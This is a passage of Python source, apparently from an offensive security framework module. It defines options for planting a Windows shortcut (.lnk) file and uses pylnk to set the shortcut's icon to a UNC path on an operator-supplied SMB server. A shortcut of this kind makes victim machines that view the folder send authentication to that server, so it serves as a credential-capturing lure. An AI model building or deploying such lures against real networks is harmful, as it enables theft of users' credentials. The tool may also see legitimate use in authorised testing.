'SERVER        IP of the SMB server
NAME          LNK file name
CLEANUP       Cleanup (choices: True or False)'

def options(self, context, module_options):

    self.cleanup = False
    if ('CLEANUP' in module_options):
        self.cleanup = bool(module_options['CLEANUP'])
    if ('NAME' not in module_options):
        context.log.error('NAME    option    is    required!')
        exit(1)
    if ((not self.cleanup) and ('SERVER' not in module_options)):
        context.log.error('SERVER    option    is    required!')
        exit(1)
    self.lnk_name = module_options['NAME']
    self.lnk_path = '/tmp/{}.lnk'.format(self.lnk_name)
    self.file_path = ntpath.join('\\', '{}.lnk'.format(self.lnk_name))
    if (not self.cleanup):
        self.server = module_options['SERVER']
        link = pylnk.create(self.lnk_path)
        link.icon = '\\\\{}\\icons\\icon.ico'.format(self.server)
        link.save()
